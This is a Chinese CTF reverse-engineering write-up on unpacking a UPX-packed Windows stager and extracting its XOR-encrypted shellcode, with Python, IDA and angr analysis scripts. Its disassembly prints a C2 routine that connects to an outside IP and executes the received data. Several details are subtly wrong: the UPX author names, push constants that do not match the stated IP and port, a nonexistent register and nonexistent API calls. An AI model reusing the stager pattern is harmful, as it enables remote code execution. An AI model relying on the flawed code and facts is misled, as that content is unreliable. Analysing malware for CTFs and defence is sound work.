CTF 逆向工程实战：从加壳二进制到 Shellcode 提取

# 核心逆向工具
apt update && apt install -y \
    gdb gdb-multiarch \
    strace ltrace \
    binutils \
    python3-pip \
    radare2 \
    nasm \
    objdump \
    file \
    hexedit

# Python 逆向库
pip3 install \
    angr \
    capstone \
    keystone-engine \
    ropper \
    pwntools \
    python-magic \
    unicorn \
    r2pipe

# 专用工具 (手动安装)
# UPX: https://github.com/upx/upx/releases
# PE-sieve: https://github.com/hasherezade/pe-sieve
# Scdbg: http://sandsprite.com/ScDbg/

# 创建隔离的分析环境
mkdir -p ~/ctf_reverse_lab/{samples,work,output,scripts}
cd ~/ctf_reverse_lab

# 模拟靶机环境 (推荐使用 FLARE VM 或 REMnux)
# 如果使用远程 Linux 分析:
docker run -it --rm --name reverse-lab \
    -v $(pwd)/samples:/samples \
    -v $(pwd)/output:/output \
    -v $(pwd)/scripts:/scripts \
    remnux/flint:latest /bin/bash

Challenge: PhantomStager
Points: 450
Category: Reverse Engineering
Difficulty: Hard

Description: We recovered this binary from a suspicious C2 server.
The operators are using a custom packer to hide their payload.
Can you extract the hidden flag?

File: phantom_stager.bin (PE32 executable)
MD5: 7f3a8c9d1e2b4f6a0c8d5e9a3b7f1c4d
SHA256: e8b7a6c5d4e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f8a7

# Step 1: 文件类型识别
file phantom_stager.bin
# 输出: phantom_stager.bin: PE32 executable (GUI) Intel 80386, for MS Windows

# Step 2: 字符串初步扫描
strings phantom_stager.bin | head -50
# 典型输出:
# This program cannot be run in DOS mode.
# .text
# .rdata
# .edata
# UPX0
# UPX1
# UPX!
# This file is packed with the UPX executable packer
# http://upx.sf.net $Id: UPX 4.0.0 $

# Step 3: 熵分析 (检测加壳)
python3 << 'PYEOF'
import math
import sys

def calculate_entropy(data: bytes) -> float:
    """计算数据的 Shannon 熵，用于检测加密或压缩"""
    if len(data) == 0:
        return 0.0

    frequency = [0] * 256
    for byte in data:
        frequency[byte] += 1

    entropy = 0.0
    for count in frequency:
        if count > 0:
            p = count / len(data)
            entropy -= p * math.log2(p)

    return entropy

with open("phantom_stager.bin", "rb") as f:
    data = f.read()

overall_entropy = calculate_entropy(data)
print(f"Overall entropy: {overall_entropy:.4f} / 8.0")

# 按节 (section) 计算熵
import pefile
pe = pefile.PE("phantom_stager.bin")
for section in pe.sections:
    name = section.Name.decode('utf-8', errors='ignore').strip('\x00')
    section_data = section.get_data()
    section_entropy = calculate_entropy(section_data)
    print(f"Section {name}: entropy={section_entropy:.4f}, "
          f"size={len(section_data)}, "
          f"{'ENCRYPTED/PACKED' if section_entropy > 7.0 else 'normal'}")
PYEOF

熵值解读指南:
├── 0.0 - 4.0:  明文/未压缩数据
├── 4.0 - 6.0:  部分压缩或编码数据
├── 6.0 - 7.0:  高度压缩 (如 zlib、gzip)
└── 7.0 - 8.0:  加密或打包数据 (强壳特征)

Section 分析:
.text     entropy=7.8923    ← UPX 加壳特征
.rdata    entropy=7.6501    ← 加密数据段
.edata    entropy=7.8102    ← 高熵导出表

# 检测 UPX 壳
upx -t phantom_stager.bin
# 输出:               Ultimate Packer for eXecutables
#                      UPX 4.0.0       Markus Oberpauler, Richard Fasching

# 自动脱壳
upx -d phantom_stager.bin -o phantom_stager_unpacked.exe
# 输出:                   Ultimate Packer for eXecutables
#                          UPX 4.0.0       Markus Oberpauler, Richard Fasching
#         File size         Ratio      Format      Name
#    --------------------   ------   -----------   -----------
#      245760 <-    98304   40.00%   win32/pe     phantom_stager_unpacked.exe
# Unpacked 1 file.

# 验证脱壳结果
file phantom_stager_unpacked.exe
# 输出: PE32 executable (GUI) Intel 80386, for MS Windows, 3 sections

# 使用 OllyDbg/x64dbg 附加并跟踪 OEP (Original Entry Point)
# 核心步骤:

# 1. 在 x64dbg 中加载文件
# 2. 在 OEP 处设置硬件断点
# 3. 运行到 OEP (Shift+F9 多次)

# 或者使用 Scylla 自动查找 OEP:
# Scylla 会自动记录 IAT 并生成修复后的 PE 文件

# 使用 impREC (ImpRec 2.0) 自动重建 IAT:
# 1. 附加到运行中的进程
# 2. 输入 OEP (从调试器获取)
# 3. 点击 "Get Imports"
# 4. 点击 "Fix Dump"

#!/usr/bin/env python3
"""
CTF 自定义壳脱壳脚本
适用于修改了 UPX 魔数的变体壳
"""
import struct
import sys
from typing import Optional, Tuple

class CustomUnpacker:
    """
    针对修改版 UPX 的脱壳工具
    """

    # UPX magic bytes (可能被修改)
    UPX_MAGIC = b'\x55\x50\x58\x01'
    UPX2_MAGIC = b'\x55\x50\x58\x32'

    def __init__(self, filepath: str):
        self.filepath = filepath
        with open(filepath, 'rb') as f:
            self.data = bytearray(f.read())

    def find_ep(self) -> int:
        """
        通过扫描 JMP 指令序列找到原始入口点
        """
        # 常见的 OEP 跳转模式
        jmp_patterns = [
            (b'\xe9', 5),   # JMP rel32
            (b'\xff\x25', 6),  # JMP [mem]
            (b'\x60', 1),   # PUSHAD (UPX 典型入口)
            (b'\x68', 5),   # PUSH imm32 (OEP 地址)
        ]

        oep_candidates = []
        for pattern, length in jmp_patterns:
            idx = 0
            while idx < len(self.data) - length:
                if self.data[idx:idx + len(pattern)] == pattern:
                    oep_candidates.append(idx)
                idx += 1

        return oep_candidates

    def extract_iat(self) -> dict:
        """
        提取导入地址表 (IAT)
        """
        iat_entries = {}
        # 在脱壳后的内存中搜索 API 调用
        pe_offset = struct.unpack_from('<I', self.data, 0x3C)[0]

        if self.data[pe_offset:pe_offset + 4] == b'PE\x00\x00':
            # 解析 PE 可选头
            opt_header_offset = pe_offset + 4 + 20
            magic = struct.unpack_from('<H', self.data, opt_header_offset)[0]

            if magic == 0x10b:  # PE32
                data_dirs_offset = opt_header_offset + 96
                # 导入表目录项
                import_rva = struct.unpack_from('<I', self.data,
                    data_dirs_offset + 8 * 8)[0]
                import_size = struct.unpack_from('<I', self.data,
                    data_dirs_offset + 8 * 8 + 4)[0]

                print(f"[*] Import Table RVA: 0x{import_rva:08x}")
                print(f"[*] Import Table Size: {import_size}")

        return iat_entries

    def dump_memory(self, start: int, size: int,
                    output_path: str) -> bool:
        """
        从偏移量 dump 内存区域
        """
        with open(output_path, 'wb') as f:
            f.write(self.data[start:start + size])
        print(f"[*] Dumped {size} bytes to {output_path}")
        return True

    def analyze_sections(self) -> list:
        """
        分析 PE 节表
        """
        pe_offset = struct.unpack_from('<I', self.data, 0x3C)[0]
        num_sections = struct.unpack_from('<H', self.data,
            pe_offset + 4 + 2)[0]
        opt_header_size = struct.unpack_from('<H', self.data,
            pe_offset + 4 + 16)[0]
        section_table_offset = pe_offset + 4 + 20 + opt_header_size

        sections = []
        for i in range(num_sections):
            sec_offset = section_table_offset + (i * 40)
            name = self.data[sec_offset:sec_offset + 8].strip(b'\x00')
            virtual_size = struct.unpack_from('<I', self.data,
                sec_offset + 8)[0]
            virtual_addr = struct.unpack_from('<I', self.data,
                sec_offset + 12)[0]
            raw_size = struct.unpack_from('<I', self.data,
                sec_offset + 16)[0]
            raw_offset = struct.unpack_from('<I', self.data,
                sec_offset + 20)[0]

            section_info = {
                'name': name.decode('ascii', errors='ignore'),
                'virtual_size': virtual_size,
                'virtual_address': virtual_addr,
                'raw_size': raw_size,
                'raw_offset': raw_offset,
                'entropy': self._section_entropy(raw_offset, raw_size)
            }
            sections.append(section_info)

            print(f"  Section: {section_info['name']:>8s} | "
                  f"VA: 0x{virtual_addr:08x} | "
                  f"Size: {raw_size:8d} | "
                  f"Entropy: {section_info['entropy']:.4f}")

        return sections

    def _section_entropy(self, offset: int, size: int) -> float:
        """计算指定区域的熵"""
        import math
        section_data = self.data[offset:offset + size]
        if len(section_data) == 0:
            return 0.0
        frequency = [0] * 256
        for byte in section_data:
            frequency[byte] += 1
        entropy = 0.0
        for count in frequency:
            if count > 0:
                p = count / len(section_data)
                entropy -= p * math.log2(p)
        return entropy

    def run_analysis(self):
        """完整分析流程"""
        print("=" * 60)
        print("[*] 自定义壳分析开始")
        print(f"[*] 目标文件: {self.filepath}")
        print(f"[*] 文件大小: {len(self.data)} bytes")
        print("=" * 60)

        # 检查是否 UPX 加壳
        if self.UPX_MAGIC in self.data or self.UPX2_MAGIC in self.data:
            print("[+] 检测到 UPX 壳标志")
        else:
            print("[-] 未检测到标准 UPX 壳标志 (可能被修改)")

        # 分析节表
        print("\n[*] 节表分析:")
        self.analyze_sections()

        # 查找 OEP 候选
        print("\n[*] OEP 候选位置:")
        candidates = self.find_ep()
        for candidate in candidates[:10]:
            print(f"  0x{candidate:08x}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target.exe>")
        sys.exit(1)

    unpacker = CustomUnpacker(sys.argv[1])
    unpacker.run_analysis()

# 在 Windows 分析机上使用 x64dbg
# 核心调试步骤:

# 1. 加载 phantom_stager_unpacked.exe
# 2. 在入口处设置断点 (F2)
# 3. 单步执行 (F8) 观察指令流

# 关键反汇编片段 (IDA 风格):

.text:00401000  ; Original Entry Point
.text:00401000  start:
.text:00401000  60                  pushad          ; 保存所有寄存器
.text:00401001  E8 8F 00 00 00      call    sub_401095  ; 获取EIP
.text:00401006  5D                  pop     ebp      ; EBP = EIP
.text:00401007  81 ED 06 10 40 00   sub     ebp, 401006h  ; 计算基址
.text:0040100D  33 C0               xor     eax, eax
.text:0040100F  64 8B 40 30         mov     eax, large fs:[eax+30h]  ; PEB
.text:00401013  8B 40 0C            mov     eax, [eax+0Ch]  ; PEB_LDR
.text:00401016  8B 70 1C            mov     esi, [eax+1Ch]  ; InMemoryOrder
.text:00401019  AD                  lodsd
.text:0040101A  8B 58 08            mov     ebx, [eax+8]   ; BaseAddress of kernel32.dll

# x64dbg 命令行方式提取内存中的 Shellcode:

# 1. 运行到程序解密 payload 后暂停
# 2. 在内存转储窗口搜索特征:
#    - "\x68\x??\x??\x??\x??\x54\x59" (PUSH imm32 + PUSH ECX + POP ECY)
#    - "\xFC\xE8" (典型 Metasploit shellcode 开头: CLD + CALL)

# 3. 导出内存区域:
#    右键 -> 数据窗口中跟随 -> 复制 -> 全部复制到文件

# 自动化提取:
python3 << 'PYEOF'
"""
从 PE 文件中自动提取加密/隐藏 payload
"""
import struct
import pefile
import os

def find_shellcode_candidates(pe: pefile.PE) -> list:
    """
    识别可能的 Shellcode 区域
    """
    candidates = []

    for section in pe.sections:
        name = section.Name.decode('utf-8', errors='ignore').strip('\x00')
        data = section.get_data()

        # 检测 Metasploit 风格 shellcode
        if b'\xfc\xe8' in data:
            candidates.append({
                'section': name,
                'offset': data.index(b'\xfc\xe8'),
                'type': 'msf_shellcode',
                'description': 'Metasploit/MSFvenom style'
            })

        # 检测 PUSHAD/POPAD 模式 (通用 shellcode 入口)
        if b'\x60' in data:  # PUSHAD
            pos = 0
            while pos < len(data):
                try:
                    idx = data.index(b'\x60', pos)
                    candidates.append({
                        'section': name,
                        'offset': idx,
                        'type': 'pushad_entry',
                        'description': 'PUSHAD shellcode entry'
                    })
                    pos = idx + 1
                except ValueError:
                    break

        # 检测 XOR 加密数据
        # 高频重复的短字节序列可能是 XOR key
        for key_size in [1, 2, 4]:
            key_patterns = detect_xor_key(data, key_size)
            if key_patterns:
                candidates.append({
                    'section': name,
                    'type': 'xor_encrypted',
                    'description': f'XOR encrypted data (key size: {key_size})',
                    'keys': key_patterns
                })

    return candidates

def detect_xor_key(data: bytes, key_size: int) -> list:
    """检测 XOR 加密密钥"""
    keys = []
    # 简单的频率分析检测 XOR key
    if key_size == 1:
        for key_byte in range(1, 256):
            decrypted = bytes([b ^ key_byte for b in data[:100]])
            # 检查解密后是否有可打印 ASCII
            printable_ratio = sum(1 for b in decrypted if 32 <= b <= 126) / len(decrypted)
            if printable_ratio > 0.5:
                keys.append(key_byte)
                if len(keys) >= 3:
                    break
    return keys

def extract_payload_section(pe: pefile.PE, section_name: str) -> bytes:
    """提取指定节的数据"""
    for section in pe.sections:
        name = section.Name.decode('utf-8', errors='ignore').strip('\x00')
        if name == section_name:
            return section.get_data()
    return b''

# 主流程
pe = pefile.PE("phantom_stager_unpacked.exe")
candidates = find_shellcode_candidates(pe)

print("[*] Shellcode 候选区域:")
for c in candidates:
    print(f"  Section: {c['section']} | "
          f"Type: {c['type']} | "
          f"Description: {c['description']}")
    if 'offset' in c:
        print(f"    Offset: 0x{c['offset']:08x}")
        # 提取前 64 字节作为预览
        section_data = extract_payload_section(pe, c['section'])
        preview = section_data[c['offset']:c['offset'] + 64]
        hex_preview = ' '.join(f'{b:02x}' for b in preview[:16])
        print(f"    Preview: {hex_preview}")

PE.cleanup_resources()
del pe
PYEOF

; IDA Pro 反汇编结果 (phantom_stager_unpacked.exe)
; 重点分析 sub_401000 到 sub_401500 区域

; -------------------------------------------------
; Function: decode_and_execute (入口点)
; -------------------------------------------------
sub_401000 proc near
    pushad                    ; 保存上下文
    call    sub_401095        ; 获取当前 EIP
    sub     ebp, 401006h      ; 计算基址
    xor     ecx, ecx
    mov     eax, [ebp+402000h]  ; 指向加密数据

decode_loop:
    mov     dl, [eax+ecx]     ; 读取加密字节
    xor     dl, 0x42          ; XOR 解密 (key = 0x42)
    mov     [eax+ecx], dl     ; 写回解密后的字节
    inc     ecx
    cmp     ecx, 2048         ; 解密 2048 字节
    jnz     short decode_loop

    ; 跳转到解密后的 shellcode
    jmp     eax

sub_401000 endp

; -------------------------------------------------
; Function: 网络通信模块
; -------------------------------------------------
sub_401200 proc near
    push    0                 ; dwFlags
    push    0                 ; pvReserved
    call    ds:WSAStartup     ; 初始化 Winsock
    call    ds:socket         ; AF_INET, SOCK_STREAM
    mov     esi, eax          ; 保存 socket fd

    ; 目标 IP: 45.142.212.61 (C2 服务器)
    push    0x3DC98E2D        ; sin_addr = 45.142.212.61
    push    0x5C110002        ; sin_family=2, sin_port=4445
    mov     edi, esp          ; sockaddr 结构

    push    10                ; namelen
    push    edi               ; name
    push    esi               ; s
    call    ds:connect        ; 连接 C2
    test    eax, eax
    jnz     short exit

recv_loop:
    push    0                 ; flags
    push    4096              ; len
    lea     eax, [ebp+buffer]
    push    eax               ; buf
    push    esi               ; s
    call    ds:recv
    test    eax, eax
    jle     short exit

    ; 执行收到的数据
    call    eax               ; 当作函数调用!

exit:
    push    esi
    call    ds:closesocket
    call    ds:WSACleanup
    popad
    retn
sub_401200 endp

"""
IDA Python 脚本：自动 Shellcode 提取器
在 IDA Pro 中运行: File -> Script File
"""
import idc
import idaapi
import idautils
import struct

def find_xor_decoder_functions():
    """
    自动查找包含 XOR 解码循环的函数
    """
    shellcode_funcs = []

    for func_ea in idautils.Functions():
        func_name = idc.get_func_name(func_ea)
        xor_count = 0
        mem_write_count = 0

        for head in idautils.Heads(func_ea, idc.get_func_attr(func_ea, idc.FUNCATTR_END)):
            mnem = idc.print_insn_mnem(head)

            if mnem == 'xor':
                xor_count += 1
            if mnem in ('mov', 'stosb', 'movs'):
                # 检查是否是写入内存的操作
                op1_type = idc.get_operand_type(head, 1)
                if op1_type in (idc.o_mem, idc.o_displ, idc.o_reg):
                    mem_write_count += 1

        # 启发式检测: 包含 XOR + 内存写入的函数
        if xor_count >= 3 and mem_write_count >= 5:
            shellcode_funcs.append({
                'ea': func_ea,
                'name': func_name,
                'xor_count': xor_count,
                'mem_write_count': mem_write_count
            })

    return shellcode_funcs

def extract_encrypted_data(func_ea):
    """
    从函数中提取被加密的数据区域
    """
    encrypted_regions = []

    for head in idautils.Heads(func_ea,
                                idc.get_func_attr(func_ea, idc.FUNCATTR_END)):
        # 查找数据引用
        for ref in idautils.DataRefsFrom(head):
            flags = idc.get_flags(ref)
            if idc.is_data(flags):
                # 读取引用区域的字节
                size = 0
                while size < 4096:  # 最大读取 4KB
                    byte_val = idc.get_byte(ref + size)
                    if byte_val == 0xFF or byte_val == 0:
                        break
                    size += 1

                data = [idc.get_byte(ref + i) for i in range(size)]
                encrypted_regions.append({
                    'ea': ref,
                    'size': size,
                    'data': bytes(data)
                })

    return encrypted_regions

def xor_decrypt(data: bytes, key: int) -> bytes:
    """XOR 解密"""
    return bytes([b ^ key for b in data])

def auto_extract_shellcode():
    """
    自动化提取流程
    """
    print("=" * 60)
    print("[*] IDA Pro Shellcode 自动提取器")
    print("=" * 60)

    # 1. 查找可疑函数
    funcs = find_xor_decoder_functions()
    print(f"\n[*] 发现 {len(funcs)} 个可疑解码函数:")

    for func in funcs:
        print(f"  0x{func['ea']:08x}: {func['name']} "
              f"(XOR: {func['xor_count']}, "
              f"MEM_WR: {func['mem_write_count']})")

        # 2. 提取加密数据
        regions = extract_encrypted_data(func['ea'])
        print(f"    发现 {len(regions)} 个加密数据区域:")

        for region in regions:
            print(f"      0x{region['ea']:08x}: {region['size']} bytes")

            # 3. 尝试 XOR 解密 (暴力密钥)
            for key in range(1, 256):
                decrypted = xor_decrypt(region['data'][:32], key)
                # 检查是否为有效的 x86 指令
                if decrypted[0] in (0x60, 0xfc, 0xe8, 0x55, 0x68):
                    print(f"      [+] 可能 XOR key: 0x{key:02x}")
                    print(f"          解密前: {region['data'][:16].hex()}")
                    print(f"          解密后: {decrypted[:16].hex()}")

                    # 导出解密后的 Shellcode
                    full_decrypted = xor_decrypt(region['data'], key)
                    output_path = f"shellcode_0x{region['ea']:08x}_key_{key:02x}.bin"
                    with open(output_path, 'wb') as f:
                        f.write(full_decrypted)
                    print(f"          已导出: {output_path}")
                    break

if __name__ == "__main__":
    auto_extract_shellcode()

#!/usr/bin/env python3
"""
Shellcode 反汇编分析工具
使用 Capstone 引擎对提取的 Shellcode 进行反汇编
"""
from capstone import *
import sys

def disassemble_shellcode(shellcode: bytes,
                           base_addr: int = 0x00401000,
                           arch: str = "x86") -> str:
    """
    反汇编 Shellcode 并返回可读输出
    """
    if arch == "x86":
        md = Cs(CS_ARCH_X86, CS_MODE_32)
    elif arch == "x64":
        md = Cs(CS_ARCH_X86, CS_MODE_64)
    else:
        raise ValueError(f"Unsupported arch: {arch}")

    md.detail = True
    output_lines = []

    for insn in md.disasm(shellcode, base_addr):
        line = f"0x{insn.address:08x}:\t{insn.mnemonic}\t{insn.op_str}"
        output_lines.append(line)

        # 分析特定模式
        if insn.mnemonic == 'call':
            output_lines.append(f"  [*] CALL to: {insn.op_str}")
        elif insn.mnemonic == 'int' and '0x2e' in insn.op_str:
            output_lines.append(f"  [!] SYSENTER / INT 2E detected!")
        elif insn.mnemonic == 'syscall':
            output_lines.append(f"  [!] SYSCALL detected!")
        elif insn.mnemonic == 'pushad' or insn.mnemonic == 'pusha':
            output_lines.append(f"  [*] PUSHAD - shellcode entry")
        elif insn.mnemonic == 'popad':
            output_lines.append(f"  [*] POPAD - shellcode exit")

    return '\n'.join(output_lines)

def classify_shellcode(shellcode: bytes) -> dict:
    """
    对 Shellcode 进行分类和特征提取
    """
    features = {
        'api_calls': [],
        'string_refs': [],
        'network_indicators': False,
        'persistence_indicators': False,
        'evasion_indicators': False,
    }

    # 常见 Windows API 哈希
    api_hashes = {
        0x7888e8e2: 'LoadLibraryA',
        0xfc3e85a1: 'GetProcAddress',
        0x31a401e7: 'VirtualAlloc',
        0xe55ea4b8: 'VirtualProtect',
        0x918d18b3: 'CreateThread',
        0xb0469db6: 'CreateRemoteThread',
        0x4e15b023: 'WriteProcessMemory',
        0x24454e42: 'NtUnmapViewOfSection',
    }

    # 检查是否为 Metasploit/Meterpreter
    if shellcode[:4] == b'\xfc\xe8\x82':
        features['type'] = 'Metasploit MSFvenom'
        features['evasion_indicators'] = True

    # 检查是否有网络相关特征
    network_sigs = [
        b'ws2_32.dll',
        b'WinExec',
        b'socket',
        b'connect',
    ]
    for sig in network_sigs:
        if sig in shellcode:
            features['network_indicators'] = True
            features['api_calls'].append(sig.decode())

    # 提取可打印字符串
    current_string = b''
    for byte in shellcode:
        if 32 <= byte <= 126:
            current_string += bytes([byte])
        else:
            if len(current_string) >= 4:
                features['string_refs'].append(current_string.decode())
            current_string = b''
    if len(current_string) >= 4:
        features['string_refs'].append(current_string.decode())

    # 反汇编
    features['disassembly'] = disassemble_shellcode(shellcode)

    return features

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <shellcode.bin> [x86|x64]")
        sys.exit(1)

    arch = sys.argv[2] if len(sys.argv) > 2 else "x86"

    with open(sys.argv[1], 'rb') as f:
        shellcode = f.read()

    print(f"[*] Shellcode size: {len(shellcode)} bytes")
    print(f"[*] Architecture: {arch}")
    print()

    features = classify_shellcode(shellcode)
    print(f"[*] Shellcode Type: {features.get('type', 'Unknown')}")
    print(f"[*] Network indicators: {features['network_indicators']}")
    print(f"[*] Evasion indicators: {features['evasion_indicators']}")

    if features['string_refs']:
        print(f"\n[*] Embedded strings ({len(features['string_refs'])}):")
        for s in features['string_refs']:
            print(f"  \"{s}\"")

    print(f"\n[*] Disassembly (first 50 instructions):")
    lines = features['disassembly'].split('\n')
    for line in lines[:50]:
        print(line)

[*] Shellcode size: 341 bytes
[*] Architecture: x86
[*] Shellcode Type: Metasploit MSFvenom
[*] Network indicators: True
[*] Evasion_indicators: True

[*] Embedded strings (3):
  "cmd.exe"
  "ws2_32.dll"
  "kernel32.dll"

[*] Disassembly (前 50 条指令):
0x00401000:  fc          cld              ; CLD - 清除方向标志 (Metasploit 特征)
0x00401001:  e8 82 00 00 00    call 0x401088  ; CALL + POP = 获取 EIP
0x00401006:  5e          pop esi            ; ESI = 字符串起始地址
0x00401007:  6a 02       push 0x2
0x00401009:  59          pop ecx            ; ECX = 2 (AF_INET)
0x0040100a:  6a 01       push 0x1
0x0040100c:  5a          pop edx            ; EDX = 1 (SOCK_STREAM)
0x0040100d:  6a 06       push 0x6
0x0040100f:  58          pop eax            ; EAX = 6 (IPPROTO_TCP)
0x00401010:  50          push eax
0x00401011:  51          push ecx
0x00401012:  52          push edx
0x00401013:  68 7c 01 00 00  push 0x17c     ; 调用号
0x00401018:  8b c4       mov eax, esp
0x0040101a:  64 ff 30    push dword ptr fs:[eax]  ; PEB
...

#!/usr/bin/env python3
"""
使用 angr 对加壳二进制进行符号执行分析
"""
import angr
import claripy
import logging

logging.getLogger('angr').setLevel(logging.ERROR)

def symbolic_execution_analysis(binary_path: str):
    """
    对目标二进制进行符号执行，提取隐藏逻辑
    """
    print(f"[*] Loading {binary_path}")

    # 创建项目
    proj = angr.Project(binary_path,
                         auto_load_libs=False,
                         load_debug_info=True)

    # 创建初始状态
    state = proj.factory.entry_state()

    # 创建仿真管理器
    simgr = proj.factory.simulation_manager(state)

    # 定义好/坏地址
    good_addr = 0x00401500  # 假设这是显示 flag 的函数
    bad_addr = 0x00401200   # 错误路径

    print(f"[*] Exploring: looking for 0x{good_addr:08x}")
    print(f"[*] Avoiding: 0x{bad_addr:08x}")

    # 探索执行
    simgr.explore(find=good_addr, avoid=bad_addr)

    if simgr.found:
        found_state = simgr.found[0]
        print(f"[+] Found solution!")

        # 提取输入约束
        # 如果输入是从 stdin 读取的
        input_data = found_state.posix.dumps(0)
        print(f"[+] Input: {input_data}")

        # 获取 flag
        output = found_state.posix.dumps(1)
        print(f"[+] Output: {output}")
    else:
        print("[-] No solution found")
        print(f"[-] Active states: {len(simgr.active)}")
        print(f"[-] Errored states: {len(simgr.errored)}")
        if simgr.errored:
            for err in simgr.errored[:5]:
                print(f"    {err.error}")

def shellcode_analysis_with_angr(shellcode_path: str):
    """
    对提取的 Shellcode 进行符号执行分析
    特别适用于分析 obfuscated shellcode
    """
    with open(shellcode_path, 'rb') as f:
        shellcode = f.read()

    print(f"[*] Analyzing shellcode: {len(shellcode)} bytes")

    # 创建 Shellcode 项目
    proj = angr.Project(shellcode_path,
                         main_opts={
                             'base_addr': 0x401000,
                             'arch': 'x86',
                         })

    state = proj.factory.blank_addr(0x401000)
    simgr = proj.factory.simulation_manager(state)

    # 运行固定步数
    for i in range(100):
        print(f"[*] Step {i}: {len(simgr.active)} active states")
        simgr.step()

        if len(simgr.active) == 0:
            print("[!] All states terminated")
            break

        # 检查是否有到达有趣地址的状态
        for s in simgr.active:
            addr = s.addr
            if isinstance(addr, int) and addr == 0x401500:
                print(f"[+] Reached target at step {i}!")
                return s

    return None

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <binary> [--shellcode]")
        sys.exit(1)

    if '--shellcode' in sys.argv:
        shellcode_analysis_with_angr(sys.argv[2])
    else:
        symbolic_execution_analysis(sys.argv[1])